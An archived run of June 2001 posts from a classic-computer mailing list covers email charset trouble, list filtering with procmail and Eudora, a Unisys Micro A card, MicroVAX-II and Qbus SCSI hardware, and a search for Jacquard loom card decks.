your boss, or other cow-orkers, that thoroughly cross-referenced 300-plus page document that you created which explains what all of the programs on their system do, which were never documented until you had the idea to document them along with all of the library calls, etc. Get rid of it; destroy it; delete the files, burn/shred the paper copies, unless you want to keep a copy of the documentation for yourself. Life's a great learning experience, what? :-) RDD -- Copyright (C) 2001 R. D. Davis The difference between humans & other animals: All Rights Reserved an unnatural belief that we're above Nature & rdd@perqlogic.com 410-744-4900 her other creatures, using dogma to justify such http://www.perqlogic.com/rdd beliefs and to justify much human cruelty. From cmcmanis at mcmanis.com Sat Jun 2 21:53:31 2001 From: cmcmanis at mcmanis.com (Chuck McManis) Date: Sun Feb 27 19:04:10 2005 Subject: Problem Posts????? was Re: Altair 8800 front panel lamps In-Reply-To: <3B19802B.92BD7ED7@rain.org> References: <011c01c0ebbe$20e97be0$39799a8d@ajp166> Message-ID: <5.0.0.25.2.20010602195039.025e7560@208.226.86.10> I'm guessing it is these two. I don't know what mail client Allison uses but perhaps when it sees the request for the 'x-user-defined' character set it freaks. Most MIME clients put ISO_LATIN1 there and they are not bothersome. Content-Type: text/plain; charset=x-user-defined Content-Transfer-Encoding: 7bit This reminds me yet again of a what a _wonderful_ hack to Majordomo, Listserve, or what ever that would take the message submission and _reformat it_ into plain text regardless of how it was sent. Then send it to the list that way (and strip off attachments etc) That is the kind of list I want to subscribe to because even when a newbie screws up (and Marvin isn't one, he just has some interesting headers) no one suffers. --Chuck At 05:09 PM 6/2/01 -0700, you wrote: >Allison > >I have not a clue what you are talking about. Viewing my messages in a >number of ways including the page source shows NOTHING out of the ordinary. >If you have a problem, kindly include a suggested solution. I see NOTHING >any different from my post than any other posts on this board. From allain at panix.com Sat Jun 2 21:53:01 2001 From: allain at panix.com (John Allain) Date: Sun Feb 27 19:04:10 2005 Subject: Unisys "Micro A" Message-ID: <03b701c0ebd8$4e26c1c0$21fe54a6@ibm23xhr06> Unisys "Micro A" Anybody know about such a system? I took in a stray cat system a few months ago, started parting it out, saw something interesting, then put it all back together again. Today I booted it up (fits on 15A, hurrah!) and determined the following: Base system: Intel mobo w/8MB Adaptec SCSI OS/2 on SCSI disk internal SCSI tape (QIC) external SCSI tape (DAT) VGA card Add-Ons: Unisys "Micro A" CPU card (perhaps DC113) daughter memory card two multiplexed serial cards Another Adaptec SCSI card, apparently for the Uni half of the system. Another Internal SCSI drive two external drives Surprized it actually does stuff. The "Micro A" system is controlled by three OS/2 Apps: Admin, ODT 1, and SCS (System Control Subsystem) (nice name) (huh?). ODT 1 is a cryptic CLI system, SCS is a boot console for the HW Anybody got any beans to spill on this? is it just a big printer controller? I noticed the Micro A is apparently microcontrolled. What was it sold for? John A. From gene at ehrich.com Sat Jun 2 21:53:30 2001 From: gene at ehrich.com (Gene Ehrich) Date: Sun Feb 27 19:04:10 2005 Subject: VIC-20 Power Supply In-Reply-To: <991320803.3b165ae35bd85@email.ou.edu> References: <007001c0e822$45a44720$8a0101ac@ibm23xhr06> <3B130289.C9B5B858@ix.netcom.com> <"Campbell"@May> <005701c0e821$b1d401c0$8a0101ac@ibm23xhr06> <007001c0e822$45a44720$8a0101ac@ibm23xhr06> Message-ID: <4.3.2.7.2.20010602225228.00add190@popmail.voicenet.com> I just came across a VIC-20 power supply that I was going to post on my for sale web site. Before I do I wanted to see if anybody here wanted first shot at it. Gene --------------------------------------------------------------------------------------------- gene@ehrich.com gehrich@tampabay.rr.com P.O. Box 3365 Spring Hill Florida 34611-3365 http://www.voicenet.com/~generic Computer & Video Game Garage Sale From allain at panix.com Sat Jun 2 21:55:05 2001 From: allain at panix.com (John Allain) Date: Sun Feb 27 19:04:10 2005 Subject: Unisys "Micro A" Message-ID: <03cd01c0ebd8$983d6e80$21fe54a6@ibm23xhr06> Unisys "Micro A" Anybody know about such a system? I took in a stray cat system a few months ago, started parting it out, saw something interesting, then put it all back together again. Today I booted it up (fits on 15A, hurrah!) and determined the following: Base system: Intel mobo w/8MB (** 80386, sorry **) Adaptec SCSI OS/2 on SCSI disk internal SCSI tape (QIC) external SCSI tape (DAT) VGA card Add-Ons: Unisys "Micro A" CPU card (perhaps DC113) daughter memory card two multiplexed serial cards Another Adaptec SCSI card, apparently for the Uni half of the system. Another Internal SCSI drive two external drives Surprized it actually does stuff. The "Micro A" system is controlled by three OS/2 Apps: Admin, ODT 1, and SCS (System Control Subsystem) (nice name) (huh?). ODT 1 is a cryptic CLI system, SCS is a boot console for the HW Anybody got any beans to spill on this? is it just a big printer controller? I noticed the Micro A is apparently microcontrolled. What was it sold for? John A. From lemay at cs.umn.edu Sat Jun 2 22:00:03 2001 From: lemay at cs.umn.edu (Lawrence LeMay) Date: Sun Feb 27 19:04:10 2005 Subject: Problem Posts????? was Re: Altair 8800 front panel lamps In-Reply-To: <017001c0ebd3$1f034a30$39799a8d@ajp166> "from ajp166 at Jun 2, 2001 10:09:12 pm" Message-ID: <200106030300.WAA04305@caesar.cs.umn.edu> This is all i get from 'elm': [ Charset x-user-defined unsupported, skipping... ] [ Use 'v' to view or save this part. ] From mcguire at neurotica.com Sat Jun 2 22:01:07 2001 From: mcguire at neurotica.com (Dave McGuire) Date: Sun Feb 27 19:04:10 2005 Subject: Problem Posts????? was Re: Altair 8800 front panel lamps In-Reply-To: Re: Problem Posts????? was Re: Altair 8800 front panel lamps (Chuck McManis) References: <011c01c0ebbe$20e97be0$39799a8d@ajp166> <5.0.0.25.2.20010602195039.025e7560@208.226.86.10> Message-ID: <15129.43123.405454.451476@phaduka.neurotica.com> On June 2, Chuck McManis wrote: > I'm guessing it is these two. I don't know what mail client Allison uses > but perhaps when it sees the request for the 'x-user-defined' character set > it freaks. Most MIME clients put ISO_LATIN1 there and they are not bothersome. > > Content-Type: text/plain; charset=x-user-defined > Content-Transfer-Encoding: 7bit > > This reminds me yet again of a what a _wonderful_ hack to Majordomo, > Listserve, or what ever that would take the message submission and > _reformat it_ into plain text regardless of how it was sent. Then send it > to the list that way (and strip off attachments etc) That is the kind of > list I want to subscribe to because even when a newbie screws up (and > Marvin isn't one, he just has some interesting headers) no one suffers. I would love something like this. Anyone know of a majordomo hack (or another package) that does this? -Dave McGuire From marvin at rain.org Sat Jun 2 22:08:24 2001 From: marvin at rain.org (Marvin) Date: Sun Feb 27 19:04:10 2005 Subject: Problem Posts????? was Re: Altair 8800 front panel lamps References: <011c01c0ebbe$20e97be0$39799a8d@ajp166> <5.0.0.25.2.20010602195039.025e7560@208.226.86.10> <15129.43123.405454.451476@phaduka.neurotica.com> Message-ID: <3B19AA28.F90F2F49@rain.org> Okay, and I would ONLY change it for you Allison :), is this any better? I just set it to ISO-8859-1 (Western.) Dave McGuire wrote: > > On June 2, Chuck McManis wrote: > > I'm guessing it is these two. I don't know what mail client Allison uses > > but perhaps when it sees the request for the 'x-user-defined' character set > > it freaks. Most MIME clients put ISO_LATIN1 there and they are not bothersome. > > > > Content-Type: text/plain; charset=x-user-defined > > Content-Transfer-Encoding: 7bit > > > > This reminds me yet again of a what a _wonderful_ hack to Majordomo, > > Listserve, or what ever that would take the message submission and > > _reformat it_ into plain text regardless of how it was sent. Then send it > > to the list that way (and strip off attachments etc) That is the kind of > > list I want to subscribe to because even when a newbie screws up (and > > Marvin isn't one, he just has some interesting headers) no one suffers. > > I would love something like this. Anyone know of a majordomo hack > (or another package) that does this? > > -Dave McGuire From louiss at gate.net Sat Jun 2 22:08:45 2001 From: louiss at gate.net (Louis Schulman) Date: Sun Feb 27 19:04:10 2005 Subject: S-100 Bus Voltages In-Reply-To: <3.0.5.32.20010602162258.007d3d70@yellow.ucdavis.edu> Message-ID: <200106030308.XAA08603@smtp10.atl.mindspring.net> On Sat, 02 Jun 2001 16:22:58 -0700, Edwin P. Groot wrote: # A fair amount of current runs through these slots. I nearly welded my #probe to the slot when I accidently shorted two pins! # Yes, I have done that. Another good trick when creating shorts is to cause a tantalum capacitor to burst into flames. Maybe we should start a thread on what kind of fire extinguishers people recommend. Louis From fmc at reanimators.org Sat Jun 2 22:04:33 2001 From: fmc at reanimators.org (Frank McConnell) Date: Sun Feb 27 19:04:10 2005 Subject: Problems with posts? (was: Altair 8800 front panel lamps In-Reply-To: "Fred Cisin's message of "Sat, 2 Jun 2001 18:37:47 -0700 (PDT)" References: Message-ID: <200106030304.f5334X431823@daemonweed.reanimators.org> "Fred Cisin (XenoSoft)" wrote: > With full headers enabled in PINE, I get the following message preceding > Marvin's post: > [ The following text is in the "x-user-defined" character set. ] > [ Your display is set for the "US-ASCII" character set. ] > [ Some characters may be displayed incorrectly. ] Marvin is using Netscape for Windows. He could probably help Allison out by looking at Netscape Messenger's View pull-down menu, somewhere on there should be something about "Character Set" and I believe he can use that to (a) tell it that he wants to use Western (ISO-8859-1) and (b) make that his default character set. Allison is using Microsoft Outlook Express. I don't know what she can do about this at her end, but I would probably be inspired to do something with one or more of a hammer, pliers, a soldering iron, and FreeBSD CDs. > Grumpy Ol' Fred cisin@xenosoft.com You think you're grumpy? I remember thinking that open standards like those upon which the Internet was built would be a good thing and enable improved communication via different e-mail systems. Instead, here in the future we have dueling implementations of point-and-click cubemail, where one can set things in a completely standard way that render plain text unreadable to the other-cubemail reader on the other end. And the cubemail users then complain about it, not to their software vendors but out where I have to wade through it. -Frank McConnell From jhellige at earthlink.net Sat Jun 2 22:33:52 2001 From: jhellige at earthlink.net (Jeff Hellige) Date: Sun Feb 27 19:04:10 2005 Subject: [classiccmp] on subject line In-Reply-To: References: Message-ID: >Actually even when I'm in 'elm' I can generally tell the messages are from >this list. In Eudora, they all automatically go to the CLASSICCMP box. That is how I deal with the high volume of this list as well. Eudora's filter functions are easy to use and make life much easier. Jeff -- Collector of Classic Microcomputers and Video Game Systems: Home of the TRS-80 Model 2000 FAQ File http://www.geocities.com/siliconvalley/lakes/6757 From mcguire at neurotica.com Sat Jun 2 22:55:10 2001 From: mcguire at neurotica.com (Dave McGuire) Date: Sun Feb 27 19:04:10 2005 Subject: Problems with posts? (was: Altair 8800 front panel lamps In-Reply-To: Re: Problems with posts? (was: Altair 8800 front panel lamps (Frank McConnell) References: <200106030304.f5334X431823@daemonweed.reanimators.org> Message-ID: <15129.46366.664923.940310@phaduka.neurotica.com> On June 2, Frank McConnell wrote: > Allison is using Microsoft Outlook Express. I don't know what she can > do about this at her end, but I would probably be inspired to do > something with one or more of a hammer, pliers, a soldering iron, and > FreeBSD CDs. Yup...newfs is the one magical program that can solve all of Windows' problems. -Dave McGuire From dittman at dittman.net Sat Jun 2 22:59:38 2001 From: dittman at dittman.net (Eric Dittman) Date: Sun Feb 27 19:04:10 2005 Subject: S-100 Bus Voltages In-Reply-To: <200106030308.XAA08603@smtp10.atl.mindspring.net> from "Louis Schulman" at Jun 02, 2001 11:08:45 PM Message-ID: <200106030359.f533xc621062@narnia.int.dittman.net> > On Sat, 02 Jun 2001 16:22:58 -0700, Edwin P. Groot wrote: > > # A fair amount of current runs through these slots. I nearly > welded my > #probe to the slot when I accidently shorted two pins! > # > > Yes, I have done that. Another good trick when creating shorts is to > cause a tantalum capacitor to burst into flames. Maybe we should start > a thread on what kind of fire extinguishers people recommend. I used to work in a test house. One of the testers was a Schlumberger S90 memory tester. The test head contained several boards in parallel, very close together. The boards had several tantalum capacitors. Once one of the tantalum capacitors blew a hole in the board about 1" around, smallers holes on the boards to each side, and badly melted areas on the next board on each side, for a total of five destroyed boards. These boards weren't cheap, but we had a maintenance contract, so we didn't have to pay for them. -- Eric Dittman dittman@dittman.net From fmc at reanimators.org Sat Jun 2 22:34:09 2001 From: fmc at reanimators.org (Frank McConnell) Date: Sun Feb 27 19:04:10 2005 Subject: on subject line In-Reply-To: "R. D. Davis"'s message of "Sat, 2 Jun 2001 21:41:55 -0400 (EDT)" References: Message-ID: <200106030334.f533Y9R32648@daemonweed.reanimators.org> "R. D. Davis" wrote: > Is it possible for the mailing list software used for this list to > prepend something like "[classiccmp]" to the subject lines for all of > the messages on this list like many other mailing lists have? Since > this is a somewhat high volume list, it would make it a heck of a lot > easier to sort through e-mail messages. :-) Here's how I told procmail to pick off mail sent to me through this list: * ^Sender:.*owner-classiccmp@classiccmp\.org Maybe that will help you come up with a somewhat less intrusive filter that works for you. BTW, the [classiccmp] thing was tried, hated (I told my mail reader to strip the tag from the displayed subjects so I wouldn't have to look at it; other people squawked), and turned off. -Frank McConnell From gessler at ucla.edu Sat Jun 2 23:04:56 2001 From: gessler at ucla.edu (Nick Gessler) Date: Sun Feb 27 19:04:10 2005 Subject: ? Digital Heddles: Jacquard loom and card decks ? In-Reply-To: References: <5.1.0.14.2.20010601170241.02d740c0@mail.zipcon.net> <5.1.0.14.2.20010601170241.02d740c0@mail.zipcon.net> Message-ID: <5.0.2.1.0.20010602205731.01cedec0@pop.bol.ucla.edu> Hi, OK, I'm after the really old stuff. The card deck for the Jacquard Loom inspired Babbage to use it as a programming device and is the precursor of the Hollerith card. So I've been trying to locate some old Jacquard Loom card decks and maybe even an abandoned loom to add to my collection and show to my students. Lots of 19th Century Jacquard weavings on eBay but never any cards. A web search reveals that some company's will still punch out cards for Card Jacquards, but would rather create floppies for Electronic Jacquards. Indeed it would be nice to have an example of each. Does anyone know where any of these devices might be had for scrap? I've made some attempts to contact weaving companies, but as you might imagine they have more important fish to fry than supplying collectors with their discards. So before I get really serious and begin making long-distance phone calls and personal visits, I thought I'd ask if anyone on the list could provide me with a few pointers. Anyone else interested in Jacquards? Cheers, Nick gessler@ucla.edu From padf at ihug.co.nz Sat Jun 2 22:30:15 2001 From: padf at ihug.co.nz (Patrick Ford) Date: Sun Feb 27 19:04:10 2005 Subject: New finds - swap & question In-Reply-To: <200106021905.PAA19216@world.std.com> Message-ID: Gidday Megan On 03-Jun-01, you wrote: URL: http://world.std.com/~mbg/ | "Massachusetts Bay Community College graduated in Spring of 2001 (May 24th to be exact), with highest honors and as a member of two honor societies -- Phi Theta Kappa and Psi Beta." Hey that's just last week. ****CONGRATULATIONS!**** Regards -- *Patrick Ford Auckland, New Zealand* */#icq#/ 51642681* And don't start a sentence with a conjunction. Support *Open Directory Project* NO banners, NO junk--just information. *ODP *is built by volunteers and owned by the community . -------> http://dmoz.org <-----------Check it out From ajp166 at bellatlantic.net Sat Jun 2 23:51:38 2001 From: ajp166 at bellatlantic.net (ajp166) Date: Sun Feb 27 19:04:10 2005 Subject: Problem Posts????? was Re: Altair 8800 front panel lamps Message-ID: <002a01c0ebe8$febccce0$39799a8d@ajp166> Thankyou! The problem with that is not only did it change fonts it also went for the Largest font! There is nothing naster than reading in my preferred 9pt sans serif and ending up with a 22 (yes huge!) serif font. Can you say YELLING. ;) Allison -----Original Message----- From: Marvin To: classiccmp@classiccmp.org Date: Saturday, June 02, 2001 11:33 PM Subject: Re: Problem Posts????? was Re: Altair 8800 front panel lamps > >Okay, and I would ONLY change it for you Allison :), is this any better? I >just set it >to ISO-8859-1 (Western.) > >Dave McGuire wrote: >> >> On June 2, Chuck McManis wrote: >> > I'm guessing it is these two. I don't know what mail client Allison uses >> > but perhaps when it sees the request for the 'x-user-defined' character set >> > it freaks. Most MIME clients put ISO_LATIN1 there and they are not bothersome. >> > >> > Content-Type: text/plain; charset=x-user-defined >> > Content-Transfer-Encoding: 7bit >> > >> > This reminds me yet again of a what a _wonderful_ hack to Majordomo, >> > Listserve, or what ever that would take the message submission and >> > _reformat it_ into plain text regardless of how it was sent. Then send it >> > to the list that way (and strip off attachments etc) That is the kind of >> > list I want to subscribe to because even when a newbie screws up (and >> > Marvin isn't one, he just has some interesting headers) no one suffers. >> >> I would love something like this. Anyone know of a majordomo hack >> (or another package) that does this? >> >> -Dave McGuire From fernande at internet1.net Sun Jun 3 00:00:15 2001 From: fernande at internet1.net (Chad Fernandez) Date: Sun Feb 27 19:04:10 2005 Subject: Unisys "Micro A" References: <03b701c0ebd8$4e26c1c0$21fe54a6@ibm23xhr06> Message-ID: <3B19C45F.1D2FE567@internet1.net> John, My guess would be a PC sized version of a Unisys A series Mainframe. I don't know anything about them..... just that they exist. You might inquire in the Unisys newsgroup. Chad Fernandez Michigan, USA John Allain wrote: > > Unisys "Micro A" > Anybody know about such a system? > > I took in a stray cat system a few months ago, started > parting it out, saw something interesting, then put it all > back together again. Today I booted it up (fits on 15A, > hurrah!) and determined the following: > > Base system: > Intel mobo w/8MB > Adaptec SCSI > OS/2 on SCSI disk > internal SCSI tape (QIC) > external SCSI tape (DAT) > VGA card > > Add-Ons: > Unisys "Micro A" CPU card (perhaps DC113) > daughter memory card > two multiplexed serial cards > Another Adaptec SCSI card, > apparently for the Uni half of the system. > Another Internal SCSI drive > two external drives > > Surprized it actually does stuff. > The "Micro A" system is controlled by three OS/2 Apps: > Admin, ODT 1, > and SCS (System Control Subsystem) (nice name) (huh?). > ODT 1 is a cryptic CLI system, > SCS is a boot console for the HW > > Anybody got any beans to spill on this? > is it just a big printer controller? > I noticed the Micro A is apparently microcontrolled. > What was it sold for? > > John A. From spectre at stockholm.ptloma.edu Sun Jun 3 00:29:30 2001 From: spectre at stockholm.ptloma.edu (Cameron Kaiser) Date: Sun Feb 27 19:04:10 2005 Subject: Problem Posts????? was Re: Altair 8800 front panel lamps In-Reply-To: <200106030300.WAA04305@caesar.cs.umn.edu> from Lawrence LeMay at "Jun 2, 1 10:00:03 pm" Message-ID: <200106030529.WAA10262@stockholm.ptloma.edu> > This is all i get from 'elm': > > [ Charset x-user-defined unsupported, skipping... ] > [ Use 'v' to view or save this part. ] Which version of elm? 2.4ME+39 is okay with it. The charset it dislikes, however, is Windows-1252 or some such nonsense. -- ----------------------------- personal page: http://www.armory.com/~spectre/ -- Cameron Kaiser, Point Loma Nazarene University * ckaiser@stockholm.ptloma.edu -- Burglar alarms: For the man who has everything! ---------------------------- From ks at coastalnet.com Sun Jun 3 00:28:39 2001 From: ks at coastalnet.com (Kirk Scott) Date: Sun Feb 27 19:04:10 2005 Subject: ? Digital Heddles: Jacquard loom and card decks ? References: <5.1.0.14.2.20010601170241.02d740c0@mail.zipcon.net> <5.1.0.14.2.20010601170241.02d740c0@mail.zipcon.net> <5.0.2.1.0.20010602205731.01cedec0@pop.bol.ucla.edu> Message-ID: <3B19CB07.7DC9@coastalnet.com> Nick Gessler wrote: > > Hi, > > OK, I'm after the really old stuff. The card deck for the Jacquard Loom > inspired Babbage to use it as a programming device and is the precursor of > the Hollerith card. Indeed it is, but it is a little incorrect to speak of a "Jacquard loom" since the automatic shedding mechanism known as the "Jacquard machine" may be mounted on any loom. and is distinct from it. As a handweaver of 27 years standing, I just *had* to throw that in :-). As far as finding a working (or even non-working) Jacquard machine and cards, your best bet is probably England, where the semi-automatic weaving tradition is still alive in places like Bethnal Green. Peter Collingwood or his son may be able to point you in the right direction overseas, and here in the US, Bill Koepp may be of help. Unfortunately, many of these older weaving devices are long, long gone and even the presently operating mills don't even remember them. I remember talking with a man who graduated from the textile department of NC State back in the sixties, where the students amused themselves by throwing old mechanisms like the Jacquard out third story windows! Kirk Scott ks@coastalnet.com From bdc at world.std.com Sun Jun 3 01:57:22 2001 From: bdc at world.std.com (Brian Chase) Date: Sun Feb 27 19:04:10 2005 Subject: [classiccmp] on subject line In-Reply-To: Message-ID: On Sat, 2 Jun 2001, R. D. Davis wrote: > Greetings, > > Is it possible for the mailing list software used for this list to > prepend something like "[classiccmp]" to the subject lines for all of > the messages on this list like many other mailing lists have? Since > this is a somewhat high volume list, it would make it a heck of a lot > easier to sort through e-mail messages. :-) Using procmail to filter the messages into a seperate folder for pine works rather well for me. (Well, this is a Unix based system though). Can't modern GUI e-mail readers filter messages based on the fact that the header entries for "To:" and "Reply-To:" contain classiccmp@classiccmp.org? And what're all you ClassicCmpers doing reading e-mail on Windows PCs and Macs anyhow? How embarassing. :-) -brian. From bdc at world.std.com Sun Jun 3 02:06:12 2001 From: bdc at world.std.com (Brian Chase) Date: Sun Feb 27 19:04:10 2005 Subject: Problem Posts????? was Re: Altair 8800 front panel lamps In-Reply-To: <3B19AA28.F90F2F49@rain.org> Message-ID: On Sat, 2 Jun 2001, Marvin wrote: > Okay, and I would ONLY change it for you Allison :), is this any > better? I just set it to ISO-8859-1 (Western.) Using pine, the best e-mail program in the world, I was able to invoke its header expansion feature. Your earlier mails had the header line embedded in them: "Content-Type: text/plain; charset=x-user-defined" Now that you've made the change mentioned above, the line has become: "Content-Type: text/plain; charset=us-ascii" Technically, I'm not sure if us-ascii is exactly the same as iso-8859-1. I think it's bad for people to use e-mail programs generate stuff like this, as well as those that pay attention to it. -brian. From peter at joules.org Sun Jun 3 03:25:42 2001 From: peter at joules.org (Peter Joules) Date: Sun Feb 27 19:04:10 2005 Subject: Altair 8800 front panel lamps In-Reply-To: <017101c0ebd3$1f745b80$39799a8d@ajp166> References: <017101c0ebd3$1f745b80$39799a8d@ajp166> Message-ID: <01060309290304.01143@pluto.joules.org> On Sun, 03 Jun 2001, you wrote: > I'm using OE (outlook express) it sees it as likely RTF not HTML. > HTML is something PINE dislikes but RTF or other MIME types are > possible. > ATM I am using kmail, but the version of pine which I have renders HTML - which as far as I am concerned is a pain because when I receive HTML spam I prefer to forward the raw HTML to their postmaster. If there is an option to stop it handling HTML, then I hhaven't found it yet, showing full headers makes it display the code but forwarding or replying to the message quotes the interpreted version. -- Regards Pete From padf at ihug.co.nz Sun Jun 3 02:58:49 2001 From: padf at ihug.co.nz (Patrick Ford) Date: Sun Feb 27 19:04:10 2005 Subject: on subject line In-Reply-To: Message-ID: Gidday Brian On 03-Jun-01, you wrote: > And what're all you ClassicCmpers doing reading e-mail on Windows PCs and > Macs anyhow? How embarassing. :-) YAM 2.2 [040] AmigaOS E-Mail Client (c) 1995-2000 by Marcel Beck http://www.yam.ch :-)) Regards -- *Patrick Ford Auckland, New Zealand* */#icq#/ 51642681* Forsooth, it fair well behoves us to resile from using archaisms. Support *Open Directory Project* NO banners, NO junk--just information. *ODP *is built by volunteers and owned by the community . -------> http://dmoz.org <-----------Check it out From lists at aussie.nu Sun Jun 3 05:13:50 2001 From: lists at aussie.nu (Lists) Date: Sun Feb 27 19:04:10 2005 Subject: Thinking and work (was: Lisas) In-Reply-To: Message-ID: [ Firstly, the on-topic bit... ] I've got an HP 712/80 here with HPUX 10.20 (I think - I do have HPUX 11 media here, but I've not yet plugged in a CD-ROM to install it). What sort of RAM does this thing take? I'm pretty sure it's nothing as standard as normal SIMMS. [ Secondly, the off-topic bit... ] > Most definitely! :-) Many employers don't like people to think, it > seems; they just want 'droids. Yup. > Do NOT accept a position where nepotism exists Amen - I've been fighting this for the last 5 years. We were sold 2+ years ago and bought by a company with the same problem (although nowhere near as bad). > and where you know what changes need to be made in order to make > things work right (Just keep yout mouth shut and don't try to to make > helpful suggestions, and don't grab the bull by the horns like I did > and go ahead and start to implement some of them...). I can relate to that also. Good ideas are really bad ideas until 6 months later when management suddenly have this great idea that sounds just like the one you mentioned 6 months prior. > For example, suggesting the ditching of SCO OpenServer and installing > a real database (e.g. Oracle or PostgreSQL) to replace In our case, trying to convince management that using a real database for their critical accounting system would be better than a transactionless MySQL server. From geoffr at zipcon.net Sun Jun 3 05:54:58 2001 From: geoffr at zipcon.net (Geoff Reed) Date: Sun Feb 27 19:04:10 2005 Subject: Need help :) MicroVax-II Message-ID: <5.1.0.14.2.20010603035238.00a19d40@mail.zipcon.net> I just inherited a pair of MV-II . they are mostly complete, I seem to be missing the console serial adaptor with the switches for one of them... also does anyone have a MV-II ethernet board? or any other interesting MV-II boards :) I'd love to get these up and running. I got a SCSI card fo unknown manufacture (haven't id'd it yet) and am hoping to get this beastie up and running soon :) what OS can I run on it??? From jkunz at unixag-kl.fh-kl.de Sun Jun 3 04:28:47 2001 From: jkunz at unixag-kl.fh-kl.de (jkunz@unixag-kl.fh-kl.de) Date: Sun Feb 27 19:04:10 2005 Subject: booting from RQDX3 In-Reply-To: <019101c0ebd4$8ec58f80$39799a8d@ajp166> Message-ID: <200106030928.f539Sl200591@unixag-kl.fh-kl.de> On 2 Jun, ajp166 wrote: >>I'd be willing to trade an 11/23 system for a Qbus SCSI card that will >> work with 2.11BSD on the 11/53. > Good luck as far as I know 2.11 didn't have native support for SCSI. [...] Most Qbus SCSI adapters emulate MSCP. Thats very nice. You can use any SCSI disk with any OS that has a MSCP driver. And many PDP11 OSes have a MSCP driver, as this is needed for popular adapters like the RQDXx, KDA50, UDA50, KFQSA, ... My Dilog DQ706A e.g. emulates a KDA50 and maps every SCSI disk or CDROM to a RA80 (with different size). -- tschuess, Jochen Homepage: http://www.unixag-kl.fh-kl.de/~jkunz From alexander.schreiber at informatik.tu-chemnitz.de Sun Jun 3 07:37:27 2001 From: alexander.schreiber at informatik.tu-chemnitz.de (Alexander Schreiber) Date: Sun Feb 27 19:04:11 2005 Subject: [classiccmp] on subject line In-Reply-To: Message-ID: Hi! On Sat, 2 Jun 2001, R. D. Davis wrote: > Is it possible for the mailing list software used for this list to > prepend something like "[classiccmp]" to the subject lines for all of > the messages on this list like many other mailing lists have? Since > this is a somewhat high volume list, it would make it a heck of a lot > easier to sort through e-mail messages. :-) The mailing list server puts ''Sender: owner-classiccmp@classiccmp.org'' in the header. I use this (with the elm filter tool) to filter the messages of this mailing list into a separate inbox (as I do with all mailinglists). Maybe your software is able to filter on this header field to? Regards, Alex. -- ------------------------------------------------------------------------------ EMail : als@thangorodrim.de | WWW : http://www.thangorodrim.de/ Some things are inherently wrong. One of them is: I come from the government to help you. -- Josef Weizenbaum From lance at costanzo.net Sun Jun 3 08:14:59 2001 From: lance at costanzo.net (Lance Costanzo) Date: Sun Feb 27 19:04:11 2005 Subject: Thinking and work (was: Lisas) Message-ID: <3.0.32.20010603061459.020dad58@costanzo.net> At 08:13 PM 6/3/01 +1000, you wrote: >I've got an HP 712/80 here with HPUX 10.20 (I think - I do have HPUX 11 >media here, but I've not yet plugged in a CD-ROM to install it). > >What sort of RAM does this thing take? I'm pretty sure it's nothing as >standard as normal SIMMS. IIRC, 72-pin ECC. Same stuff as used in 9000-Ex5 / 3000-9x8. Not sure if you can use generic, but I think I might have tried memory from older PC Netservers and it worked. From jfoust at threedee.com Sun Jun 3 08:27:15 2001 From: jfoust at threedee.com (John Foust) Date: Sun Feb 27 19:04:11 2005 Subject: S-100 Bus Voltages In-Reply-To: <200106030359.f533xc621062@narnia.int.dittman.net> References: <200106030308.XAA08603@smtp10.atl.mindspring.net> Message-ID: <4.3.2.7.0.20010603081611.01d18710@pc> At 10:59 PM 6/2/01 -0500, Eric Dittman wrote: >The boards had several tantalum capacitors. I thought I'd recently heard a news story that claimed that 80% of the world's supply comes from a single mine in the Australian outback, but that may only be a slight exaggeration: http://www.cellular.co.za/technologies/phones/tantalum.htm which leads to tantalum ore poaching: http://www.ebnews.com/digest/story/OEG20010427S0086 Perhaps a richer source of ore is old computers. - John From ajp166 at bellatlantic.net Sun Jun 3 08:36:44 2001 From: ajp166 at bellatlantic.net (ajp166) Date: Sun Feb 27 19:04:11 2005 Subject: Need help :) MicroVax-II Message-ID: <001f01c0ec33$a0631870$72799a8d@ajp166> From: Geoff Reed >I just inherited a pair of MV-II . they are mostly complete, I seem to be >missing the console serial adaptor with the switches for one of them... >also does anyone have a MV-II ethernet board? or any other interesting You need a DEQNA (old board but works) or DELQA newer board. >MV-II boards :) I'd love to get these up and running. I got a SCSI card >fo unknown manufacture (haven't id'd it yet) and am hoping to get this >beastie up and running soon :) what OS can I run on it??? VMS is the primary OS, most any version and Ultrix (dec unix) then there is NetBSD if you can get around the media problem for initial install. FYI: you really need a tk50 or TK70 tape or compatable CDrom as those are the to most likely non networked transport medias. Allison From jhellige at earthlink.net Sun Jun 3 08:49:49 2001 From: jhellige at earthlink.net (Jeff Hellige) Date: Sun Feb 27 19:04:11 2005 Subject: on subject line In-Reply-To: References: Message-ID: >YAM 2.2 [040] AmigaOS E-Mail Client (c) 1995-2000 by Marcel Beck >http://www.yam.ch Very nice client....I was one of the early testers and registered users of it. If I remember correctly, the main gripe people had with it was that it used MUI, but then again, quite a lot of stuff does, so that wasn't a big deal to me. Jeff -- Collector of Classic Microcomputers and Video Game Systems: Home of the TRS-80 Model 2000 FAQ File http://www.geocities.com/siliconvalley/lakes/6757 From jhellige at earthlink.net Sun Jun 3 09:02:51 2001 From: jhellige at earthlink.net (Jeff Hellige) Date: Sun Feb 27 19:04:11 2005 Subject: [classiccmp] on subject line In-Reply-To: References: Message-ID: >And what're all you ClassicCmpers doing reading e-mail on Windows PCs and >Macs anyhow? How embarassing. :-) There are certainly very usable Mac's still on the 'net over 10 years old. Afterall, one of the things the machines are known for is their longevity. Get an early version of Eudora Light or Claris Emailer, plus FreePPP, and even the early compact Macs make nice email systems that don't need a whole lot of space. A Windows machine of the same vintage.. I'd just as soon not try that ever again. One of these days I"ll finally get STiK configured and working on my ST. Had quite a bit of trouble with it in the past and haven't messed with it in a number of years. For a couple of years, the main thing I used the ST for was offline BBS message browsing. Jeff -- Collector of Classic Microcomputers and Video Game Systems: Home of the TRS-80 Model 2000 FAQ File http://www.geocities.com/siliconvalley/lakes/6757 From LFessen106 at aol.com Sun Jun 3 09:32:17 2001 From: LFessen106 at aol.com (LFessen106@aol.com) Date: Sun Feb 27 19:04:11 2005 Subject: [classiccmp] on subject line Message-ID: <86.af0f74a.284ba471@aol.com> In a message dated Sun, 3 Jun 2001 3:03:16 AM Eastern Daylight Time, Brian Chase writes: << On Sat, 2 Jun 2001, R. D. Davis wrote: And what're all you ClassicCmpers doing reading e-mail on Windows PCs and Macs anyhow? How embarassing. :-) -brian. >> I would be embarassed as well except right now the only email account I have access to is AOL.. At least I read my mail through Linux and AOL's webmail - no M$ :-) -Linc. From spectre at stockholm.ptloma.edu Sun Jun 3 09:48:23 2001 From: spectre at stockholm.ptloma.edu (Cameron Kaiser) Date: Sun Feb 27 19:04:11 2005 